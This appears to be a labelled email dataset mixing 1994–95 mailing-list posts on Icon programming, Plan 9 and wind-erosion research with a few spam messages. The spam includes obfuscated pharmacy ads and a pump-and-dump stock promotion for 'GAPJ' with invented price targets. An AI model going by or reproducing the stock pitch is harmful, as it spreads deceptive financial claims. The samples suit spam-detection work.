combinations of # assignments. # procedure assign_bool(vars, symtab) local var if *vars == 0 then return # all variables are assigned var := vars[1] # variable this call assigns to vars := vars[2:0] # rest of variables symtab[var] := True() suspend assign_bool(vars, symtab) symtab[var] := False() suspend assign_bool(vars, symtab) end # # Evaluate the parsed formual, using the boolean assignments to variables # in symtab. Return a True record or a False record. # procedure eval(parsed, symtab) case type (parsed) of { ""string"": return symtab[parsed] ""True"" | ""False"": return parsed ""Not"": if type(eval(parsed.a, symtab)) == ""True"" then return False() else return True() ""And"": if type(eval(parsed.a, symtab)) == ""True"" & type(eval(parsed.b, symtab)) == ""True"" then return True() else return False() ""Or"": if type(eval(parsed.a, symtab)) == ""True"" | type(eval(parsed.b, symtab)) == ""True"" then return True() else return False() ""Xor"": if type(eval(parsed.a, symtab)) ~== type(eval(parsed.b, symtab)) then return True() else return False() } end # # primative parser for grammar: # # ::= | # and | # or | # xor | # # ::= true | # false | # | # | # ( ) # procedure expr() local e e := term() repeat { skip_whsp() if =""and"" then { e := And(e, term()) } else if =""or"" then { e := Or(e, term()) } else if =""xor"" then { e := Xor(e, term()) } else return e } end procedure term() local t static ident_chars initial ident_chars := &letters ++ &digits ++ '_' skip_whsp() if =""("" then { t := expr() skip_whsp() if not ="")"" then stop(""missing ')'"") return t } else if =""not"" then return Not(term()) else if =""true"" then return True() else if =""false"" then return False() else if t := tab(many(ident_chars)) then { if not member(var_set, t) then { insert(var_set, t) put(vars, t) } return t } else stop(""invalid formula"") end procedure skip_whsp() static white_sp initial white_sp := ' \\t' tab(many(white_sp)) end",0,0 Nic@skin.demon.co.uk,icon-group-l@cs.arizona.edu,"Thu, 29 Dec 1994 21:43:13 +0000",MS-DOS Icon and Ctrl C,"Just a quick thought/query. Has anyone got a suggestion that would allow me to handle ^C keypresses directly? I've putting together an interactive program that really could use the ability to read ^C as input, do some stuff and then quit. Any suggestions short of modifying the iconx source gratefully received. Cheers, Nic ",0,0 Chris Tenaglia | 456-8765 ,Nic@skin.demon.co.uk,"Fri, 30 Dec 1994 06:45:22 -0600",Re: MS-DOS Icon and Ctrl C," What version are you using? ^C functionality seemed to change after version 8.5. So if you're using V8.10 or V9.0 try going back to V8.5 and see if that does it. If you're 8.5 or earlier, try a later version. In DOS there is also BREAK ON and BREAK OFF which seem to control the way ^C is passed to a program. I have a password program that has to stay at V8.5 because of this. Chris Tenaglia (System Manager) | ""The past explained, Medical College of Wisconsin | the future foretold, 8701 W. Watertown Plank Rd. | the present largely appologized for."" Milwaukee, WI 53226 | Organon to The Doctor tenaglia@mis.mcw.edu > Just a quick thought/query. > Has anyone got a suggestion that would allow me to handle ^C keypresses > directly? I've putting together an interactive program that really could use > the ability to read ^C as input, do some stuff and then quit. Any suggestions > short of modifying the iconx source gratefully received. > Cheers, > Nic ",0,0 todd.nathan@mccaw.com,icon-group-l@cs.arizona.edu,"Fri, 30 Dec 1994 23:52:14 +0000",Building for ICON for NS 3.3,"Hello there folks. Been trying to build the ICON distribution from arizona state on NS 3.3 Intel. If anyone could help I would appreciate it. The following output is from the attempt. I copied the next config directory, and put the i386_linux rswitch.c into it to replace the m68k rswitch code. Was told this should work, but i get the following. Please respond to me via email since this is not too much of a public issue to discuss. Happy New Year! Todd PS. Got the distribution twice to make sure it was not corrupted. Also tried the rswitch.c from i486_linux also. ------------- output from the build attempt ----------- learfan> cp -r next i486_next learfan> cp i386_linux/rswitch.c i486_next learfan> ../.. learfan> make Configure name=i486_next make Clean cd docs; make Clean rm -rf *.bak cd ipl; make Clean rm -f *.bak cd src; make Clean cd iconc; rm -f *.o iconc cd common; rm -f *.o cd preproc; rm -f *.o pp cd rtt; rm -f *.o rtt cd runtime; rm -f *.c *.o rt.db rt.a rttcur.lst rttfull.lst iconx cd icont; rm -f *.o icont iconx.hdr hdr.h newhdr cd xpm; rm -f *.o *.a touch h/define.h cd tests; make Clean cd bench; make Clean rm -f *.out concord-[ct] deal-[ct] ipxref-[ct] queens-[ct] rsg-[ct] *.u? cd calling; make Clean cd extcall; make Clean rm -f *.o cd loadfunc; make Clean rm -f *.o *.so *.out so_locations btest rm -f foo cd general; make Clean rm -f local/* touch local/.placeholder cd graphics; make Clean rm -f foo cd ipl; make Clean rm -f local/* cd preproc; make Clean cd samples; make Clean rm -f local/* touch local/.placeholder cd special; make Clean rm -f keyboard save cd vtran; make Clean rm -rf vt rm -f tests/local/* cat config/unix/i486_next/vtran.hdr config/unix/Config/vt3.make >config/unix/Config/Makefile cp config/unix/Common/Makefile config/unix/i486_next cd config/unix/i486_next; make make -f ../Config/Makefile Setup make -f ../Config/Makefile Clean rm -f ../../../src/common/rswitch.[csS] make -f ../Config/Makefile Localcode cp define.h ../../../src/h cp rswitch.[csS] ../../../src/common if grep -s NoRanlib define.h; then touch ../../../NoRanlib; else rm -rf ./../../NoRanlib; fi make -f ../Config/Makefile Makefiles cat rtt.hdr ../Config/rtt.make > ../../../src/rtt/Makefile cat common.hdr ../Config/common.make > ../../../src/common/Makefile cat iconc.hdr ../Config/iconc.make > ../../../src/iconc/Makefile cat preproc.hdr ../Config/preproc.make > ../../../src/preproc/Makefile cat icont.hdr ../Config/icont.make > ../../../src/icont/Makefile cat runtime.hdr ../Config/runtime.make > ../../../src/runtime/Makefile cat vtran.hdr ../Config/vt2.make > ../../../src/vtran/Vtmake2 cp ../Config/vt1.make ../../../src/vtran/Vtmake1 make -f ../Config/Makefile VT rm -f icon_vt.c ln ../Config/icon_vt.c icon_vt.c cc -E icon_vt.c | egrep -v '(^#|^$)' > ../../../bin/icon_vt ./Config/icon_vt.h:1: illegal external declaration, missing `;' after `/me/languages/icon/bin/' ./Config/icon_vt.h:2: illegal external declaration, missing `;' after `Setting' ./Config/icon_vt.h:2: illegal external declaration, missing `;' after `structure' ./Config/icon_vt.h:2: undefined type, found `variant' ./Config/icon_vt.h:2: illegal external declaration, missing `;' after `translator' ./Config/icon_vt.h:4: undefined type, found `common' ./Config/icon_vt.h:5: illegal external declaration, missing `;' after `itran' ./Config/icon_vt.h:6: undefined type, found `h' ./Config/icon_vt.h:7: illegal external declaration, missing `;' after `rm' ./Config/icon_vt.h:7: illegal method definition, found `$CommonDir' ./Config/icon_vt.h:2: illegal method definition, missing `{' after `icon_vt.c' *** Exit 1 Stop. ",0,0 Will Mengarini ,icon-group-l@cs.arizona.edu,"Sat, 31 Dec 1994 09:32:36 +0000",Re: MS-DOS Icon and Ctrl C,"Nic@skin.demon.co.uk (Nic Gibson) writes: >Has anyone got a suggestion that would allow me to handle ^C keypresses >directly? I've putting together an interactive program that really could use >the ability to read ^C as input, do some stuff and then quit. Any suggestions >short of modifying the iconx source gratefully received. This procedure main(arg) writes( ""Input a char: "" ) c := getche(); write(); write( ""c: "", image(c) ) end works for me, with Icon 8.8 for MS-DOS; both ^C & ^Break are echoed as the charset's graphic for Ascii ^C, then the program continues. Note that non-Ascii keystrokes like Alt-whatever will generate 2 getch{,e}() returns, the first null; if you use getch{,e}() you'll probably want to allow for that. Will Mengarini In a profound sense, we are ultimately all from Delphi ""Walking is a prescribed health activity, buddy. If you go unsupervised, without a prescription, & then you get yourself in trouble, who gets the rap? The city does. So you got to have that prescription. Did you know that almost all auto damage involving auto-pedestrian accidents results from non-prescription walking?"" --from a Mark Rich story in the Nov 94 /Analog Science Fiction & Fact/",0,0 Ele Raab ,lilian@zingg.weru.ksu.edu,"Mon, 02 Jan 1995 00:44:02 -0700",Re: VtxAGRA new,"Hi X m A k N v A k X i V t A o L q I z U s M s V w I y A b G u R n A o C x I d A q L j I n S w http://www.acrostount.com stucc aluminou acquainte boudoi grea inner screen? They did not come; he only knew that the man he focused on in the binoculars was his enemy. Then that huge man did an extraordinary thing. He reached for Swaynes wife, throwing his large left arm protectively around her shoulders, his right hand accusingly jabbing the space between him and the general. Whatever he said-or yelled-caused Swayne to react with what ",1,1 bischof@balrog.informatik.Uni-Osnabrueck.DE,9fans@thor.informatik.Uni-Osnabrueck.DE,"Mon, 02 Jan 1995 10:17:32 -0500",pcc & 8 1/2," Hi, I wish you a 'HAPPY NEW YEAR'. Is it possible to develop an 81/2 application with the pcc - ape C compiler driver? I've got the following loader messages: berror: undefined: perror JMPL ,perror+0(SB) estart: undefined: pipe JMPL ,pipe+0(SB) Thanks for your help. -hp ",0,0 bischof@balrog.informatik.Uni-Osnabrueck.DE,plan9-fans,"Tue, 03 Jan 1995 12:34:27 -0500",pcc & libg.a,"Hi, is it possible to develop a application with .../ape/libg.a and pcc? The following programm #define _LIBG_EXTENSION #define _POSIX_SOURCE # include # include void ereshaped(Rectangle r ) { } endles(Bitmap * screen) { fprintf(stderr, ""~~~~~\\n""); while ( ecanread(~0) ) fprintf(stderr, ""ecanread\\n""); } void main(void) { binit(0,0, ""local_label""); einit(Ekeyboard|Emouse); endles( & screen ); } terminates in the in .../ape/libg.a(event.c:static void extract()) Is there anybody out there, who can help? Thanks for your help. Hans-Peter",0,0 Ted Zobeck ,Multiple recipients of list ,"Wed, 04 Jan 1995 13:53:42 -0600",Re: IGBP-GCTE Erosion Netwo,"Greetings and Happy New Year! The International Geosphere-Biosphere Programme, Global change & Terrestrial Ecosystems (IGPB-GCTE) has just released a call for scientists to join their Soil Erosion Network. Members of the Network contribute models and/or data for International sharing. They have a specific data and model sharing policy of which members are expected to abide. A short description of the Network follows. Please email Dr. John Ingram for specific forms and more information at john.ingram@plant-sciences.oxford.ac.uk. Cheers, Ted ****************************************************************************************** Applying to join the GCTE Soil Erosion Network Interested scientists who wish to join the GCTE Soil Erosion Network are requested to apply to the GCTE Soil Erosion Working Group, through the GCTE Focus 3 Office (address below). The Soil Erosion Working Group is currently chaired by Dr. Christian Valentin, and includes Dr. John Boardman, Dr. Arlin Nicks, Prof Dr. Jean Peosen and Dr. Edward Skidmore. An application consists of two parts: 1. A description of the work you wish to contribute to the Network. This should be submitted as descriptive data (metadata) for a soil erosion model(s) and/or experimental and/or monitoring programme dataset(s), in the standard GCTE format. An example completed form for ""models"" and blank forms can be sent as requested. 2. The signed application agreeing to abide by the terms as laid out in the GCTE Data and Model Sharing Policy (will send info upon request). If the work is accepted by the GCTE Soil Erosion Working Group as being both relevant to the Network or of high quality, the Focus 3 Office forwards a summary of your metadata, together with a brief statement from the Working Group chairman of its value to the Network, to the GCTE Scientific Steering Committee for final consideration as a component of the GCTE Soil Erosion Network. Upon ratification by the GCTE SSC, your research would then formally contribute to the GCTE Core Research programme. Please send your application to the GCTE Focus 3 Associate Office, at the address below. GCTE Focus 3 Associate Office Department of Plant Sciences University of Oxford South Park Road Oxford, OX1 3RB, UK Tel +44(0)865 275079 FAX +44(0)865 275060 john.ingram@plant-sciences.oxford.ac.uk ",0,0 Ted Zobeck ,Multiple recipients of list ,"Fri, 06 Jan 1995 11:02:11 -0600",Aeolian Sediments?,"contact Celina at the address below if you can help HELP! I am looking for information on how to identify and quantify airborne particlutes in lake sediment in a semi-arid region. Sedigraph results show a bimodal distribution, largest mode in presumed runoff-borne clays, and a very weak mode, during historic droughty periods, in the silt fraction. The silt fraction is never more than ~5% of the total. How can I test if the silt mode is aeolian? Please help! Celina Campbell c/o | Ian D. Campbell 8oO | | Department of Natural Resources Canada Oo8OO8o8o | | Northern Forestry Centre 8oOooO8oOoO | | 5320-122 St. Edmonton 88OoO8O8o8 | | Alberta, Canada ^ 8oo8o8oo | | T6H 3S5 ^^^ 8O8o | | E-mail: ICAMPBELL@NOFC.FORESTRY.CA ^^^^^^^ || | | tel: +1-403-435-7300 FAX: +1-403-435-7359 || || | ",0,0 p_aikins@postoffice.utas.edu.au,9fans,"Sat, 07 Jan 1995 08:31:21 -0500",Installation of Plan 9,"Hi all! Could someone tell me how to go about installing plan 9 on my PC? I got the file ""9pcdisk"" but don't know what to do with it. pete /******************************************/ Peter Aikins. Student: Electronics & Computer Eng. Hobart, Tasmania, Australia. Phone: (002) 672 705 Note: The views expressed in this email are mine and mine alone! /*****************************************/ ",0,0 o0fr ,"helen@zingg.weru.ksu.edu, shelley@zingg.weru.ksu.edu, antonio@zingg.weru.ksu.edu, lucinda@zingg.weru.ksu.edu","Sun, 08 Jan 1995 14:29:16 +0100",Low-Profile Company With High Profit Potential [D E T A I L S FRIDAY it is] Fatima launderer loathing,"GAPJ- GOLDEN APPLE OIL/GAS Current Price: $ 0.45 Short Term Price: $ 1.50 3 Month Price: $ 4.50 Before we start with the profile of GAPJ we would like to mention something very important: There is a Big PR Campaign starting on today. And it will go all week so it would be best to get in NOW S T R O N G B U Y R E C O M M E N D A T I O N B U Y NOW Current Press Release Golden Apple Oil and Gas, Inc. and Franklin Ross Securities Complete Private Placement Golden Apple Oil and Gas, Inc. (GAPJ - News) is pleased to announce it has completed the initial private placement with Franklin Ross Securities of New Jersey. The terms of the deal provide for Franklin Ross to purchase 181,818 shares of Golden Apple Oil and Gas, Inc. restricted stock priced at 10 per share. The company is currently negotiating with several investor groups for the next phase of financing. Headquartered in Phoenix, Arizona, Golden Apple is an independent oil and gas producer with a focus on North and South American properties. The Company applies advanced technologies to systematically explore and develop its oil and natural gas opportunities. Golden Apple focuses its activities where technology can be used effectively to maximize returns on invested capital by reducing drilling risk and enhancing its ability to cost-effectively grow reserves and production volumes. Golden Apple Oil and Gas, Inc has opened a Canadian office in Toronto, Ontario to facilitate the management of its Canadian operations. All correspondence and communication will continue to be serviced by the company's head office staff in Phoenix Arizona. GET IN NOW, DO""NT REGRET LATER ",1,0 John Tatarko ,Multiple recipients of list ,"Wed, 11 Jan 1995 13:56:27 -0600",Introduction,"Hello, I have been 'lurking' on the list for a while and thought it was about time I introduce myself. My name is John Tatarko. I am with the USDA-ARS Wind Erosion Research Unit (sometimes known as The Wind Erosion Lab) in Manhattan, Kansas. The Wind Erosion Research Unit is now participating in the development of a Wind Erosion Prediction System (WEPS) which is a process based replacement for the Wind Erosion Equation. As a member of the WEPS development team, I am in charge of the MAIN supervisory program of WEPS. The function of the MAIN program is to initialize the model, make calls to the submodels, and produce general outputs. Another of my tasks is the testing and application of WEPS for croplands. Last but not least, I am also involved in the development of the wind database and generator for WEPS. Other research interests of mine include soil spatial variability, rangeland wind erosion, and GIS applications to wind erosion problems. I will be more than happy to discuss any of the above topics with those wishing to do so. I do not have any questions for the group but would like to take this opportunity to announce our World Wide Web and FTP sites. We hope that these sites will allow for better information exchange and promote interest in wind erosion research. The Web site contains, among other things, a short description of our Unit, staff, and research mission. The site also contains a fairly extensive (and growing) digital photo archive of wind erosion and related photographs which can be viewed or downloaded. There are also links to our FTP site and other related Web sites. This site is under construction and hopefully will continue to grow. The URL for this WWW site is: http://zingg.weru.ksu.edu/ The FTP site is envisioned to be our main venue for the distribution of the WEPS model after the initial release this summer. It is also a source of some of the above materials for those without Web access. Currently the FTP site contains the entire digital photo archive, lists of Unit publications, as well as a few programs such as a pin meter roughness program and a aggregate size distribution analysis program. The FTP address is: ftp.weru.ksu.edu If you have any questions regarding either of these sites please feel free to contact me. John Tatarko | jt@weru.ksu.edu USDA-ARS Wind Erosion Research Unit | tatarko@ksu.edu Throckmorton Hall, KSU | phone: (913) 532-6720 Manhattan, KS 66506 | fax: (913) 532-6528 ",0,1 bischof@balrog.informatik.Uni-Osnabrueck.DE,plan9-fans,"Thu, 12 Jan 1995 03:30:38 -0500",kc & include & comment,"Hi, i have problems to comment a include-line in a C source file. C_Test cat include.c #include void main(void) {} C_Test kc -c include.c ok C_Test cat ooh_include.c #include /* failed */ void main(void) {} C_Test kc -c ooh_include.c ooh_include.c:1 syntax in #include oops -hp",0,0 rob@plan9.research.att.com,plan9-fans,"Thu, 12 Jan 1995 11:09:44 -0500",Re: kc & include & comment,C_Test cat ooh_include.c #include /* failed */ void main(void) {} It's a silly restriction of the C compilers that it can't handle comments on preprocessor lines. It should at least be documented.,0,0 byron@netapp.com,plan9-fans,"Fri, 13 Jan 1995 19:11:46 -0500",estart() in libg,"[I am talking about libXg but I assume the same applies to plan9 libg] I can use estart() to register a file descriptor with the libg library, but I don't see a way to *remove* a file descriptor. Suppose my program wishes to add fd==4, and then the channel on fd #4 is closed. A subsequent open returns fd==4 again. Will/can the file descriptor be re-registered? Does libg handle this case? ",0,0 dhog@staff.cs.su.oz.au,plan9-fans,"Sat, 14 Jan 1995 03:58:56 -0500",9wm: version 1.1 now available,"A new version of 9wm is now available. This fixes most of the bugs that have been reported. (The major exception is that multi-screen displays are still unsupported). The problem with popups of Open Look clients not appearing has been resolved. The new version may be obtained by anonymous ftp from ftp.cs.su.oz.au, in directory /usr/ftp/dhog/9wm. Get patch1.Z if you already have version 1.0, otherwise get 9wm-1.1.shar.Z. Thanks to all the people who contributed bug reports and fixes. ",0,0 bischof@balrog.informatik.Uni-Osnabrueck.DE,plan9-fans,"Sat, 14 Jan 1995 05:35:13 -0500",macro expansion,"The program: % cat failed.c #include #include #define x(p) printf(""Macro expansion %d\\n"", p ); static void * Point() { int x; } main() {} The problem: Macros kc failed.c failed.c:7 syntax in macro expansion: x failed.c:8 syntax error, last name: x The inexplicable: % cpp failed.c | kc -o failed.k % kl failed.k Thanks for your help. -hp",0,0 rob@plan9.research.att.com,plan9-fans,"Sat, 14 Jan 1995 09:46:55 -0500",," failed.c:7 syntax in macro expansion: x I don't understand why you keep beating on this. The documentation states clearly that the C compilers do not honor ANSI's standard for preprocessing. It also says that if you want a real preprocessor, use cpp, which is provided. One reason is protest: the ANSI preprocessor definition is needlessly baroque. The real reason, though, is simplification, not only in the compiler, but in the programs that result. I could argue back that making a variable have the same name as a macro is bad style. If you want to test whether the letter of the law is met by the preprocessor in the C compiler, you're going to be disappointed. If you'd like a fast compiler that discourages tricky preprocessing, you'll be happy. As for us, we're happy. ",0,0 Paul DuBois ,plan9-fans,"Sat, 14 Jan 1995 10:19:19 -0500",preprocessing,"> failed.c:7 syntax in macro expansion: x > >I don't understand why you keep beating on this. >The documentation states clearly that the C compilers >do not honor ANSI's standard for preprocessing. >It also says that if you want a real preprocessor, >use cpp, which is provided. The example file doesn't even pass through 2 of the ""real"" (although pre-ANSI) cpp's on my 3 UNIX boxes. ""argument mismatch"" due to defining x(arg) as a macro and then later using x as a variable name. Paul DuBois dubois@primate.wisc.edu ",0,0 bischof@balrog.informatik.Uni-Osnabrueck.DE,plan9-fans,"Mon, 16 Jan 1995 04:11:46 -0500",preprocessing," Sorry. I understand: the question was very stupid. -hp ",0,0 Ted Zobeck ,Multiple recipients of list ,"Thu, 19 Jan 1995 10:28:56 -0600",,"This and the following message cover submission of papers to the Annual Meetings of the ASA-CSSA-SSSA. This came in from: Tom Hodges Cropping Systems Modeler ___ ___ USDA-ARS / \\_/ \\ Rt. 2, Box 2953-A Telephone: 509-786-9207 | | Prosser, WA 99350 Fax: 509-786-9370 \\______/^\\/ USA potato tuber ============= thodges@beta.tricity.wsu.edu ======================== ..photosynthesis makes the world go around... Mr. Potato Head First Call for Papers American Society of Agronomy Crop Science Society of America Soil Science Society of America Annual Meetings Oct. 29-Nov. 3, 1995 St. Louis, Missouri Application Deadline: April 8, 1995 Background Information This year's meeting theme is ""Gateway to the Future"". Members of the American Society of Agronomy are dedicated to the conservation and wise use of natural resources to produce food, feed, and fiber crops while maintaining or improving the environment. For over 86 years, agronomists throughout the world have recognized the American Society of Agronomy as their professional home. The Crop Science Society of America is comprised of scientists interested in all aspects of crop science including the improvement, culture, management, and utilization of field crops. Members of the Soil Science Society of America focus their interest upon soil physics, chemistry, microbiology, fertility, pedology, conservation, forest soils, mineralogy, and wetlands. These three Societies were established as independent, autonomous organizations. Because of their common interests, however, they work closely together and share the same headquarters office in Madison, Wisconsin. Total membership is 12,500. Over 4,000 scientists from throughout the world will attend the 1995 annual meetings in St. Louis. To Present a Paper in St. Louis Society regulations require at least one author to hold membership in the American Society of Agronomy, Crop Science Society of America, or Soil Science Society of America. The deadline for registration of papers is April 8, 1995. Additional program regulations are published in the Second Call for Papers. The Second Call for Papers will be published in the Febuary 1995 issue of Agronomy News sent to all Society members. For non-members to receive a copy of the Second Call for Papers contact: ASA, CSSA, SSSA Headquarters Office Attn: Second Call for Papers 677 South Segoe Road Madison, WI 53711-1086 USA Phone: (608) 273-8080 FAX: (608) 273-8089 Individuals desiring to present a paper in the Computer Software Scene or Division S-1 (Soil Physics) can obtain an EMail registration form via EMail. Send your EMail request to: Computer Software Scene potmod@beta.tricity.wsu.edu Division S-1, Soil Physics rhorton@iastate.edu These EMail addresses are valid only for individuals wanting to present their paper in the Computer Software Scene or Division S-1. All other requests must be made to the ASA, CSSA, SSSA Headquarters Office at the address shown above. ========================================================================= Numerous Symposia are organized for each ASA-CSSA-SSSA Annual Meeting. Those planned by the Software Scene for 1995 are listed below. Software Scene: 1. Global Networking and Databases. Oral, Poster, and Computer demonstrations are invited on use of global computer networks such as the Internet and use of agronomic databases available over such networks in agricultural research and applications. Contact Dr. Wendell Oak (303-282-2473) for more detailed information. Joint with division A-5. 2. Demonstrations of Internet Resources. What agronomic resources are available over the Internet? The World Wide Web, Gopher, FTP, Telnet, Usenet Forums, EMail lists, etc. may be demonstrated and potential uses/applications in agricultural production and research. Oral and poster presentations may also be suitable. Contact Dr. Tom Hodges (509-786-9207, thodges@beta.tricity.wsu.edu) for more detailed information. Joint with division A-1. 3. Development of User Interfaces for Agronomic Models and other Software Applications. The user interface (appearance) of a software application has a large effect on the user's ability to use it easily and correctly. Oral, Poster, and Computer demonstrations are invited on types of interfaces, principles of design, interface development tools, and use of interfaces. Contact Dr. Dennis Timlin (301-504-6255, dtimlin@ncsr.arsusda.gov) for more detailed information. Joint with division A-1. ",0,0 Protius ,plan9-fans,"Fri, 20 Jan 1995 03:26:26 -0500",sparc cpu server," I am trying to get a Solboure series 4 500 sparcstation clone to be my cpu server. The first time I tried to get it to boot plan 9, it refused to load, saying that the entry point of the kernel conflicted with its rom. I attempted to relocate the kernel by changing the -T 0xE0004000 argument in the mk file to -T 0xFFFF0000. Then, I can get it to start to tftp its kernel, but then afer it rotates its / a few times, it stops dead. My personal theory is that more then just the -T in the link needs to be changed, but I have no idea where the others are. Is there a guide to the kernel somwhere? Specifics: file server: a BSDI machine running u9fs. rarp and tftp server: either a 386, or a nextstation running plan 9. potential cpu server: a Solbourne series 4 500, with nothing on the SCSI bus (it usualy runs unix, and I remove the drives ""just in case"" (it is properly terminated)) One processor, 32megs of ram. The console is a vt200 on serial port A. There is a framebuffer, but I can't use it. (no monitor/keyboard) Thanks in advance! -Tommy tjohnson@cobber.cord.edu ",0,0 Beowulf Abbott ,dena@zingg.weru.ksu.edu,"Fri, 20 Jan 1995 04:22:13 -0700",Re: your AMBtEfN,"Hi V P A L C V X I r m e I A a A o b v A L n G z i i L I a R a e t I U x A c n ra S M http://www.inteerto.com parted from it any longer, or when he was very, very, hungry, and tired of fish. Then he would creep along dark passages looking for stray goblins. He might even venture into places where the torches were lit and made his eyes blink and smart; for he would be safe. Oh yes, quite safe. No one would see him, no one would notice him, till he had his fingers on their throat. Only a few hours ago he had worn it, and caught ",1,1 """Dean R. E. Long"" ",plan9-fans,"Fri, 20 Jan 1995 18:20:42 -0500",Re: sparc cpu server,"Starting the kernel at 0xFFFF0000 doesn't give you much space. Also I think the 0x4000 offset is significant. Have you tried 0xf0004000 or perhaps 0xf8004000? dl ",0,0 philw@plan9.research.att.com,plan9-fans,"Sat, 21 Jan 1995 19:56:48 -0500",re: sparc cpu server,"there are many constants which require changing if you want to move a kernel. Most of them are to be found in mem.h, some are in l.s ",0,0 Greg Earle ,plan9-fans,"Sat, 21 Jan 1995 20:47:19 -0500",Re: SPARC CPU server,"Phil W. wrote: > There are many constants which require changing if you want to move a kernel. > Most of them are to be found in mem.h, some are in l.s. I suspect this doesn't matter much. The real problem is that the original poster has a Solbourne Series 4000 workstation, which last I checked was most definitely *not* a ""clone"" of a SPARCstation-2, or any other Sun desktop box. There were some noticable differences. - Greg ",0,0 Steve Kotsopoulos ,9fans,"Sat, 21 Jan 1995 22:20:41 -0500",plan 9 bof at usenix last week,"can someone who was there please post a summary? ",0,0 grs@claircom.com,plan9-fans,"Sun, 22 Jan 1995 17:14:00 -0500",Re: plan 9 bof at usenix,"Since I've not seen a summary, and it will be fairly short, I'll give you the rundown. I'm doing this from memory, so I may be corrected. The Mary K^H^H^H^H^H^HPlan 9 BOF was fairly short. Rob Pike preannounced that AT&T will be making Plan 9 available as an unsupported product in March or so. When I think unsupported product, I think about the old toolchest stuff, but I get the idea that this may be slightly different. The CDROM will have source and binary for 4 architectures: Intel 386 SPARC MIPS 680x0 The CD contains *all* source except: cfront, ksh, and crypt. The first two are AT&T products that sell for substantially more than $500 and are peripheral to plan 9, and crypt has export restrictions. But as Rob put it ""You can get DES anywhere"". 4 floppies will also be enclosed that contain a runnable, binary system for the Intel. Images of these floppies may be available on the net subsequent to the release. The cost will be <$500 All the plan 9 favorites will be included, such as Alef, acid, and acme. The system is a feature snapshot of about 12 months ago, but with fixes and improvements. New documentation will be released, and will be included on the CD as well as the ftp site. The format will be similar to other research releases, with a programmers manual volume and a papers volume. Finally, free space on the CD will be filled with music. After this annoucement, most questions revolved around specific hardware and whether support for it was included. I won't go into that. No discussion about technical features of plan 9 took place. I assume that this will change once the system is available. Ordering will involve the normal 800 number/credit card number protocol. If I missed anything, I'm sure it will be pointed out. I don't know about anyone else, but I was not expecting such an announcement, and I'm quite excited about it, although the AT&T corporate raider department recently schlurped up my company, so I could probably get it independently. :-( Lastly, I should probably explain the ""Mary K"" stuff at that top: New Orleans was host to 6000 Mary Kay saleswomen simultaneous to USENIX, many in the same hotel. I'm unsure which group was more puzzled by the other. Gregg Siegfried grs@claircom.com",0,0 grantham@amalthea.tenon.com,plan9-fans,"Thu, 14 Sep 1995 20:01:47 -0400",Re: plan 9 bof at usenix,"> [...]Rob Pike preannounced > that AT&T will be making Plan 9 available as an unsupported product in > March or so. When I think unsupported product, I think about the old > toolchest stuff, but I get the idea that this may be slightly different. For those of us who are implication-impaired (tm), does this mean that it will be available to the general public a la Linux or Gnu software? Did he only announce a new release or does this mean that us non-academic Plan9-fan-wannabes be able to get a copy? > Images of these floppies may be available on the net > subsequent to the release. Did he mean publicly? -Brad -- Brad Grantham, grantham@tenon.com ** Diet caffeine-free Coca-Cola is really just brown water with bubbles. ** I've learned from a little CMOS design that soldering irons really are VERY hot. ** A backflip a day keeps comfort away! ** CUSeeMe : 192.83.246.41 ** http://acm.vt.edu/~grantham/ ",0,1 grs@claircom.com,plan9-fans,"Sun, 22 Jan 1995 18:16:00 -0500",Re: plan 9 bof at usenix,"> Did he only announce a new release or does this mean that us non-academic > Plan9-fan-wannabes be able to get a copy? > > Did he mean publicly? > Sorry. I guess I was being a bit vague. I actually forget that plan9 is available now to academic sites. The bottom line is that as of March (possible Uniforum announcement), Plan 9 will be available to anyone with $499.95%, regardless of academic or commercial affiliation. There is a license involved, in that you, as an individual, are free to use, modify and enhance the system. However, if you want to resell it, or make money from it, you must talk to AT&T to negotiate a special license. The licensing terms are not completely defined yet, and I got the distinct impression that that is one of the reasons it isn't available now. Site versus individual license terms are also TBD. % ""$499.95"" is not the price of the software. All Rob had on his viewgraph slide was ""<$500"". I assume the next few months will be spent hashing out pricing and licensing. Gregg Siegfried grs@claircom.com",0,0 Ted Zobeck ,Multiple recipients of list ,"Mon, 23 Jan 1995 10:57:33 -0600",Re: Aeolian Research Facili,"contact Dirk at the address below, if you wish to participate... Dear collegue, The rapid evolution in the field of aeolian geo-sciences has led a number of institutions to acquire highly technical facilities for conducting world level research in this area. I am attempting to compile an inventory of these major facilities. If you would be involved in aeolian geomorphic, agricultural or other geo-scientific research, I would be grateful if you could assist my efforts by providing me with your name and adress so that I can send you a detailed questionnaire. Your cooperation is highly appreciated. Sincerely, Dr. Dirk Goossens Laboratory for Experimental Geomorphology Redingenstraat 16 bis B-3000 Leuven Belgium e-mail: Dirk.Goossens@geo.kuleuven.ac.be ",0,0 forsyth@plan9.cs.york.ac.uk,9fans@cs.psu.edu,"Tue, 24 Jan 1995 04:31:44 -0500",new plan 9 release ...,"are penn and teller doing the television adverts for it? ",0,0 b16kis@isbe.ch,9fans,"Tue, 24 Jan 1995 14:27:16 -0500",access to local fs,"Hi there, we set up a standalone Plan 9 System on an PC, which we can boot with the 9pcdisk-kernel directly from the local harddisk. The system boots correct, but we neither can't launch sam under 8 1/2 nor append a directory to the root. See the next lines as an example for the latter problem. cd / mkdir test can't create test mounted directory forbids creation We are not shure if the files termrc and namespace contain the correct commands. Is there anybody out there who had the same problem or can give us any information on solving our problems? Maybe a listing of hers/his termrc and namespace files. best regards, Frederick L. Born Juraj Kis ",0,0 dbecker@Legato.COM,plan9-fans,"Wed, 25 Jan 1995 01:27:39 -0500",Any mention of Brazil?,"Was there any mention of Brazil at the Plan 9 BOF (or elsewhere)? ",0,0 Jim Davis ,plan9-fans,"Wed, 25 Jan 1995 12:53:45 -0500",Re: Any mention of Brazil?,"On Wed, 25 Jan 1995 dbecker@Legato.COM wrote: > Was there any mention of Brazil at the Plan 9 BOF (or elsewhere)? Rob Pike spoke here Monday about Brazil -- you can see an abstract of his talk if you point your web browser at http://www.cs.arizona.edu/people/tics. The main points that I recall were dropping streams and replacing it with a simpler queued io system, because that's faster and the flexibility of pushing streams modules wasn't being used in practice, and changing the way video display worked so that you can send images directly to the frame buffer, bypassing the window manager. Also Brazil uses the concurrent language Alef. He's a very good speaker and you shouldn't miss a chance to hear him. ",0,1 Nigel Roles ,plan9-fans,"Thu, 26 Jan 1995 04:18:58 -0500",Re: new plan 9 release ...,"> are penn and teller doing the television adverts for it? Yes - I can see it now. Shot of someone staring in horror at a pile of software packaging including Netware, Windows 3.1/3.11/ 95/NT/(whatever it is called this week), OS/2, SunOS, Solaris, NFS, X11r6, Emacs; cut to Penn and Teller who chorus ""Don't try this at home"". It'd 